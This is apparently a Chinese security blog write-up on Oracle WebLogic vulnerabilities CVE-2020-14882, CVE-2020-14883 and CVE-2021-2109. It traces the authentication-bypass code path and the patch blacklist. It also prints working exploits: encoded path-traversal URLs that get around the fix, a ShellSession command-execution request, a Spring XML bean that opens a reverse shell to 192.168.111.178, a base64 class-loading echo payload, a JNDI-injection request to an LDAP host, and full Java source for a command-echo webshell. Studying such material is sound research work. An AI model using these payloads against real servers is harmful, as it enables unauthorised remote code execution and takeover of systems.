CVE-2020-14882 允许未授权的用户绕过管理控制台的权限验证访问后台,CVE-2020-14883 允许后台任意用户通过 HTTP 协议执行任意命令。使用这两个漏洞组成的利用链,可通过一个 GET 请求在远程 Weblogic 服务器上以未授权的任意用户身份执行命令

影响版本:

  • Oracle WebLogic Server 10.3.6.0.0
  • Oracle WebLogic Server 12.1.3.0.0
  • Oracle WebLogic Server 12.2.1.3.0
  • Oracle WebLogic Server 12.2.1.4.0
  • Oracle WebLogic Server 14.1.1.0.0

CVE-2020-14882

在正常访问console后台时会提示输入帐号密码

但是可以使用url二次编码/console/images/%252e%252e/console.portal,通过这个就可以实现路径穿越,未授权访问管理后台

但是通过未授权访问的后台与正常登陆的后台相比,由于权限不足,缺少部署等功能,无法安装应用,所以也无法通过部署项目等方式直接获取权限

漏洞分析

该漏洞的触发是在 console 组件,而console对应着webapp服务,配置文件为wlserver/server/lib/consoleapp/webapp/WEB-INF/web.xml
正常登录后会访问一个console.portal,那么在web.xml中看一下相关的路由情况

可以看到对应的servlet为AppManagerServlet

从上面的 web.xml 内容中可以得出:

  1. MBeanUtilsInitSingleFileServlet是AppManagerServlet的 servlet-class-name 初始化的值
  2. 访问*.portal会经过AppManagerServlet的分派处理(通过认证后访问console的路径是/console/console.portal)

首先weblogic的请求会经过weblogic.servlet.internal.WebAppServletContext#execute处理,这里会调用securedExecute()

跟进发现调用doSecuredExecute()方法

继续跟进可以看到调用weblogic.servlet.security.internal.WebAppSecurity#checkAccess()进行权限的校验

第一次请求的时候checkAllResources为false,于是调用getConstraint方法

跟进weblogic.servlet.security.internal.WebAppSecurityWLS#getConstraint()

这里会比较我们的relURI是否匹配我们matchMap中的路径,并判断rcForAllMethods和rcForOneMethod是否为null

当访问的路由符合该路由映射表中的情况时,将根据配置设置rcForAllMethods变量,也就是最终返回的resourceConstraint
如果请求的路径在matchMap列表里,那么unrestricted值就为true

return后接着做if判断,resourceConstraint不为null,调用weblogic.servlet.security.internal.SecurityModule#isAuthorized

在该方法中获取用户session,调用weblogic.servlet.security.internal.ChainedSecurityModule#checkAccess方法做进一步权限校验

最后会在weblogic.servlet.security.internal.CertSecurityModule#checkUserPerm中调用weblogic.servlet.security.internal.WebAppSecurity#hasPermission方法

根据最开始生成的ResourceConstraint对象,判断该次http请求是否有权限

如果用户访问的是静态资源,则返回unrestricted的值,hasPermission返回为true,weblogic认为你有权限访问,于是就会放行。如果你访问非静态权限,则直接拦截你的请求,重定向至登陆页

二次编码的原因:发过去的时候http会解一次码,也就是说如果我们传的是/images/%2E%2E%2Fconsole.portal,那么解码后就是/images/../console.portal,这样发到服务端就没办法匹配到静态资源了,直接处理成了/console.portal

漏洞修复

借用师傅的一张图,https://twitter.com/chybeta/status/1322131143034957826
黑名单为:

1
private static final String[] IllegalUrl = new String[]{";", "%252E%252E", "%2E%2E", "..", "%3C", "%3E", "<", ">"};

可以看到是使用了黑名单进行过滤,但是过滤的不够完善导致被绕过了。。。

例如:

1
2
3
4
/console/css/%252E./console.portal
/console/css/%252e%252e%252fconsole.portal
/console/css/%25%32%65%25%32%65%25%32%66console.portal
/console/css/%25%32%65%25%32%65%25%32%66consolejndi.portal

参考:
cve-2020-14882 weblogic 越权绕过登录分析
CVE-2020-14882:Weblogic Console 权限绕过深入解析

CVE-2020-14883

漏洞分析

主要的漏洞成因是在com.bea.console.handles.HandleFactory#getHandle

这里进行反射并实例化,但只能执行该类的一个String类型的参数构造器

漏洞利用

ShellSession

使用的是com.tangosol.coherence.mvel2.sh.ShellSession这个类,但是在10.3.6.0没有这个类,所以只能在更高版本触发
看到他的参数为String的构造函数

这里调用了一次无参构造函数,然后再调用该类的exec方法

最后就是解析命令并执行了

命令执行回显:

1
GET /console/images/%252e%252e/console.portal?test_handle=com.tangosol.coherence.mvel2.sh.ShellSession('weblogic.work.ExecuteThread currentThread = (weblogic.work.ExecuteThread)Thread.currentThread(); weblogic.work.WorkAdapter adapter = currentThread.getCurrentWork(); java.lang.reflect.Field field = adapter.getClass().getDeclaredField("connectionHandler");field.setAccessible(true);Object obj = field.get(adapter);weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod("getServletRequest").invoke(obj); String cmd = req.getHeader("cmd");String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};if(cmd != null ){ String result = new java.util.Scanner(new java.lang.ProcessBuilder(cmds).start().getInputStream()).useDelimiter("\\A").next(); weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod("getResponse").invoke(req);res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));res.getServletOutputStream().flush();} currentThread.interrupt();') HTTP/1.1

使用Thread.interrupt()可以中断线程,避免命令被执行多次

FileSystemXmlApplicationContext

利用前提是需要出网

com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext这种方法最早在CVE-2019-2725被提出,该方法通用于各版本weblogic

首先我们构造一个恶意的xml文件

1
2
3
4
5
6
7
8
9
10
11
<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>/bin/bash</value>
<value>-c</value>
<value><![CDATA[/bin/bash -i >& /dev/tcp/192.168.111.178/6666 0>&1]]></value>
</list>
</constructor-arg>
</bean>
</beans>

然后使用post进行传参

1
2
3
POST /console/css/%25%32%65%25%32%65%25%32%66console.portal HTTP/1.1

_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://192.168.111.178:8000/poc.xml")

还有个类com.bea.core.repackaged.springframework.context.support.ClassPathXmlApplicationContext也是同理的

看到了c0ny1的一篇文章:weblogic下spring bean RCE的一些拓展
可以使用factory-method标签调用返回值不为void的有参,静态和非静态方法
给一个回显的payload吧

1
2
3
4
5
6
7
8
9
10
11
12
13
<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation=" http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd ">
<bean id="decoder" class="weblogic.utils.encoders.BASE64Decoder"/>
<bean id="clazzBytes" factory-bean="decoder" factory-method="decodeBuffer">
<constructor-arg type="java.lang.String" value="yv66vgAAADMApgoADQBFCgBGAEcHAEgKAAMASQoADQBKCgAKAEsIAEwKAAsATQgATgcATwcAUAoACgBRBwBSCAA3CgBTAFQKAAsAVQcAVgoAVwBYCgBXAFkKAFoAWwoAEQBcCABdCgARAF4KABEAXwgAYAcAYQoAGgBiBwBjCgAcAGQKAGUAZgoAZQBnCgAaAGgIAGkKAGoAawgAbAoACgBtCgBuAG8KAG4AcAgAcQcAcgoAKABzBwB0AQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAA5MV2VibG9naWNFY2hvOwEACDxjbGluaXQ+AQAGcmVzdWx0AQASTGphdmEvbGFuZy9TdHJpbmc7AQADcmVzAQAvTHdlYmxvZ2ljL3NlcnZsZXQvaW50ZXJuYWwvU2VydmxldFJlc3BvbnNlSW1wbDsBAANjbWQBAAVmaWVsZAEAGUxqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsBAANvYmoBABJMamF2YS9sYW5nL09iamVjdDsBAAdhZGFwdGVyAQAbTHdlYmxvZ2ljL3dvcmsvV29ya0FkYXB0ZXI7AQABZQEAFUxqYXZhL2xhbmcvRXhjZXB0aW9uOwEADVN0YWNrTWFwVGFibGUHAHUHAHIBAApTb3VyY2VGaWxlAQARV2VibG9naWNFY2hvLmphdmEMACsALAcAdgwAdwB4AQAbd2VibG9naWMvd29yay9FeGVjdXRlVGhyZWFkDAB5AHoMAHsAfAwAfQB+AQASU2VydmxldFJlcXVlc3RJbXBsDAB/AIABAAlnZXRIZWFkZXIBAA9qYXZhL2xhbmcvQ2xhc3MBABBqYXZhL2xhbmcvU3RyaW5nDACBAIIBABBqYXZhL2xhbmcvT2JqZWN0BwCDDACEAIUMAIYAhwEAEWphdmEvdXRpbC9TY2FubmVyBwCIDACJAIoMAIsAjAcAjQwAjgCPDAArAJABAAJcQQwAkQCSDACTAH4BAAtnZXRSZXNwb25zZQEALXdlYmxvZ2ljL3NlcnZsZXQvaW50ZXJuYWwvU2VydmxldFJlc3BvbnNlSW1wbAwAlACVAQAjd2VibG9naWMveG1sL3V0aWwvU3RyaW5nSW5wdXRTdHJlYW0MACsAlgcAlwwAmACQDACZACwMAJoAmwEAAAcAnAwAnQCWAQARY29ubmVjdGlvbkhhbmRsZXIMAJ4AnwcAoAwAoQCiDACjAKQBABFnZXRTZXJ2bGV0UmVxdWVzdAEAE2phdmEvbGFuZy9FeGNlcHRpb24MAKUALAEADFdlYmxvZ2ljRWNobwEAGXdlYmxvZ2ljL3dvcmsvV29ya0FkYXB0ZXIBABBqYXZhL2xhbmcvVGhyZWFkAQANY3VycmVudFRocmVhZAEAFCgpTGphdmEvbGFuZy9UaHJlYWQ7AQAOZ2V0Q3VycmVudFdvcmsBAB0oKUx3ZWJsb2dpYy93b3JrL1dvcmtBZGFwdGVyOwEACGdldENsYXNzAQATKClMamF2YS9sYW5nL0NsYXNzOwEAB2dldE5hbWUBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEACGVuZHNXaXRoAQAVKExqYXZhL2xhbmcvU3RyaW5nOylaAQAJZ2V0TWV0aG9kAQBAKExqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL0NsYXNzOylMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEAGGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZAEABmludm9rZQEAOShMamF2YS9sYW5nL09iamVjdDtbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEAB2lzRW1wdHkBAAMoKVoBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQARamF2YS9sYW5nL1Byb2Nlc3MBAA5nZXRJbnB1dFN0cmVhbQEAFygpTGphdmEvaW8vSW5wdXRTdHJlYW07AQAYKExqYXZhL2lvL0lucHV0U3RyZWFtOylWAQAMdXNlRGVsaW1pdGVyAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS91dGlsL1NjYW5uZXI7AQAEbmV4dAEAFmdldFNlcnZsZXRPdXRwdXRTdHJlYW0BADUoKUx3ZWJsb2dpYy9zZXJ2bGV0L2ludGVybmFsL1NlcnZsZXRPdXRwdXRTdHJlYW1JbXBsOwEAFShMamF2YS9sYW5nL1N0cmluZzspVgEAMXdlYmxvZ2ljL3NlcnZsZXQvaW50ZXJuYWwvU2VydmxldE91dHB1dFN0cmVhbUltcGwBAAt3cml0ZVN0cmVhbQEABWZsdXNoAQAJZ2V0V3JpdGVyAQAXKClMamF2YS9pby9QcmludFdyaXRlcjsBABNqYXZhL2lvL1ByaW50V3JpdGVyAQAFd3JpdGUBABBnZXREZWNsYXJlZEZpZWxkAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL3JlZmxlY3QvRmllbGQ7AQAXamF2YS9sYW5nL3JlZmxlY3QvRmllbGQBAA1zZXRBY2Nlc3NpYmxlAQAEKFopVgEAA2dldAEAJihMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQAPcHJpbnRTdGFja1RyYWNlACEAKgANAAAAAAACAAEAKwAsAAEALQAAAC8AAQABAAAABSq3AAGxAAAAAgAuAAAABgABAAAACAAvAAAADAABAAAABQAwADEAAAAIADIALAABAC0AAAJbAAYABgAAAVi4AALAAAO2AARLKrYABbYABhIHtgAImQCHKrYABRIJBL0AClkDEwALU7YADCoEvQANWQMSDlO2AA/AAAtMK8YAXCu2ABCaAFW7ABFZuAASK7YAE7YAFLcAFRIWtgAXtgAYTSq2AAUSGQO9AAq2AAwqA70ADbYAD8AAGk4ttgAbuwAcWSy3AB22AB4ttgAbtgAfLbYAIBIhtgAipwC1KrYABRIjtgAkTCsEtgAlKyq2ACZNLLYABRInA70ACrYADCwDvQANtgAPTSy2AAUSCQS9AApZAxMAC1O2AAwsBL0ADVkDEg5TtgAPwAALTi3GAGIttgAQmgBbuwARWbgAEi22ABO2ABS3ABUSFrYAF7YAGDoELLYABRIZA70ACrYADCwDvQANtgAPwAAaOgUZBbYAG7sAHFkZBLcAHbYAHhkFtgAbtgAfGQW2ACASIbYAIqcACEsqtgApsQABAAABTwFSACgAAwAuAAAAZgAZAAAACwAKAAwAGQANAD0ADgBIAA8AYgAQAHsAEQCKABIAkQATAJoAFQCdABYApwAXAKwAGACyABkAyAAaAOwAGwD3ABwBEgAdASwAHgE9AB8BRQAgAU8AJQFSACMBUwAkAVcAJgAvAAAAZgAKAGIAOAAzADQAAgB7AB8ANQA2AAMAPQBdADcANAABARIAPQAzADQABAEsACMANQA2AAUApwCoADgAOQABALIAnQA6ADsAAgDsAGMANwA0AAMACgFFADwAPQAAAVMABAA+AD8AAABAAAAAEQAF/ACaBwBBAvoAsUIHAEIEAAEAQwAAAAIARA=="/>
</bean>
<bean id="classLoader" class="javax.management.loading.MLet"/>
<bean id="clazz" factory-bean="classLoader" factory-method="defineClass">
<constructor-arg type="[B" ref="clazzBytes"/>
<constructor-arg type="int" value="0"/>
<constructor-arg type="int" value="2845"/>
</bean>
<bean factory-bean="clazz" factory-method="newInstance"/>
</beans>

可以看到成功回显

漏洞修复

修复方式是判断这个className是否为Handle类的子类

参考:
Weblogic 未授权命令执行分析复现(CVE-2020-14882/14883)
WebLogic one GET request RCE分析(CVE-2020-14882+CVE-2020-14883)
[CVE-2020-14882/14883]WebLogioc console认证绕过+任意代码执行
https://github.com/jas502n/CVE-2020-14882

CVE-2021-2109

该漏洞主要是JNDI注入,导致攻击者可利用此漏洞远程代码执行

POC:(注意192.168.111;178:1389有个点为分号)

1
2
3
POST /console/css/%25%32%65%25%32%65%25%32%66consolejndi.portal HTTP/1.1

_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle("ldap://192.168.111;178:1389/Basic/WeblogicEcho;AdminServer")

WeblogicEcho代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import weblogic.servlet.internal.ServletResponseImpl;
import weblogic.work.ExecuteThread;
import weblogic.work.WorkAdapter;
import weblogic.xml.util.StringInputStream;
import java.lang.reflect.Field;
import java.util.Scanner;

public class WeblogicEchoTemplate extends AbstractTranslet {

public WeblogicEchoTemplate(){
try{
WorkAdapter adapter = ((ExecuteThread)Thread.currentThread()).getCurrentWork();
if(adapter.getClass().getName().endsWith("ServletRequestImpl")){
String cmd = (String) adapter.getClass().getMethod("getHeader", String.class).invoke(adapter, "cmd");
if(cmd != null && !cmd.isEmpty()){
String result = new Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next();
ServletResponseImpl res = (ServletResponseImpl) adapter.getClass().getMethod("getResponse").invoke(adapter);
res.getServletOutputStream().writeStream(new StringInputStream(result));
res.getServletOutputStream().flush();
res.getWriter().write("");
}
}else{
Field field = adapter.getClass().getDeclaredField("connectionHandler");
field.setAccessible(true);
Object obj = field.get(adapter);
obj = obj.getClass().getMethod("getServletRequest").invoke(obj);
String cmd = (String) obj.getClass().getMethod("getHeader", String.class).invoke(obj, "cmd");
if(cmd != null && !cmd.isEmpty()){
String result = new Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next();
ServletResponseImpl res = (ServletResponseImpl) obj.getClass().getMethod("getResponse").invoke(obj);
res.getServletOutputStream().writeStream(new StringInputStream(result));
res.getServletOutputStream().flush();
res.getWriter().write("");
}
}
}catch(Exception e){
e.printStackTrace();
}
}

@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}
}

漏洞分析

这个漏洞利用有两个关键类
第一个类是com.bea.console.handles.JndiBindingHandle,他是Handle的子类

可以看到JndiBindingHandle是一些实例化操作,但并没有执行功能

理论上Weblogic Server的console的操作大部分是建立在Action的基础上,所以我们还需要去寻找一个Action,找到/wlserver/server/lib/consoleapp/webapp/consolejndi.portal文件

发现标签 JNDIBindingPageGeneral 指定的路径是 /PortalConfig/jndi/jndibinding.portlet,继续跟进可以找到这次利用的另一个关键的类JNDIBindingAction

看到com.bea.console.actions.jndi.JNDIBindingAction#execute

可以看到 lookup 中的值来源于 bindingHandle.getContext()bindingHandle.getBinding() ,同时需要serverMBean不为空

跟进到com.bea.console.utils.MBeanUtils#getAnyServerMBean
看到serverMBean是由getDomainMBean().lookupServer(serverName)获取

继续跟进到weblogic.management.configuration.DomainMBeanImpl#lookupServer
想要返回不为空,则需要传给lookupServer的值等于this._Servers中的name,通过获取 this._Servers[0].getName()可以得到这个值为 AdminServer

而context、bindName、serverName的值都是从bindingHandle中获取的,正巧我们可以控制JndiBindingHandle实例化的值(objectIdentifier)

接着来就需要看下objectIdentifier和以上3个值有什么关系了,看一下3个成员变量的get函数,发现他们都和getComponents函数有关

最后看到com.bea.console.handles.HandleImpl#getComponents

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
private String[] getComponents() {
if (this.components == null) {
String serialized = this.getObjectIdentifier();
ArrayList componentList = new ArrayList();
StringBuffer currentComponent = new StringBuffer();
boolean lastWasSpecial = false;

for(int i = 0; i < serialized.length(); ++i) {
char c = serialized.charAt(i);
if (lastWasSpecial) {
if (c == '0') {
if (currentComponent == null) {
throw new AssertionError("Handle component already null : '" + serialized + '"');
}

if (currentComponent.length() > 0) {
throw new AssertionError("Null handle component preceeded by a character : '" + serialized + "'");
}

currentComponent = null;
} else if (c == '\\') {
if (currentComponent == null) {
throw new AssertionError("Null handle followed by \\ : '" + serialized + "'");
}

currentComponent.append('\\');
} else {
if (c != ';') {
throw new AssertionError("\\ in handle followed by a character :'" + serialized + "'");
}

if (currentComponent == null) {
throw new AssertionError("Null handle followed by ; : '" + serialized + "'");
}

currentComponent.append(';');
}

lastWasSpecial = false;
} else if (c == '\\') {
if (currentComponent == null) {
throw new AssertionError("Null handle followed by \\ : '" + serialized + "'");
}

lastWasSpecial = true;
} else if (c == ';') {
String component = currentComponent != null ? currentComponent.toString() : null;
componentList.add(component);
currentComponent = new StringBuffer();
} else {
if (currentComponent == null) {
throw new AssertionError("Null handle followed by a character : '" + serialized + "'");
}

currentComponent.append(c);
}
}

if (lastWasSpecial) {
throw new AssertionError("Last character in handle is \\ :'" + serialized + "'");
}

String component = currentComponent != null ? currentComponent.toString() : null;
componentList.add(component);
this.components = (String[])((String[])componentList.toArray(new String[componentList.size()]));
}

return this.components;
}

看到通过this.getObjectIdentifier()获取objectIdentifier的值,然后通过分号;分隔开来,并将分割后的数据填入 String 数组。相当于参数全部可控,造成jndi注入

参考:
CVE-2021-2109:Weblogic远程代码执行分析复现
阿里云安全获Oracle官方致谢 |Weblogic Server远程代码执行漏洞预警(CVE-2021-2109)
WebLogic CVE-2021-2109 JNDI RCE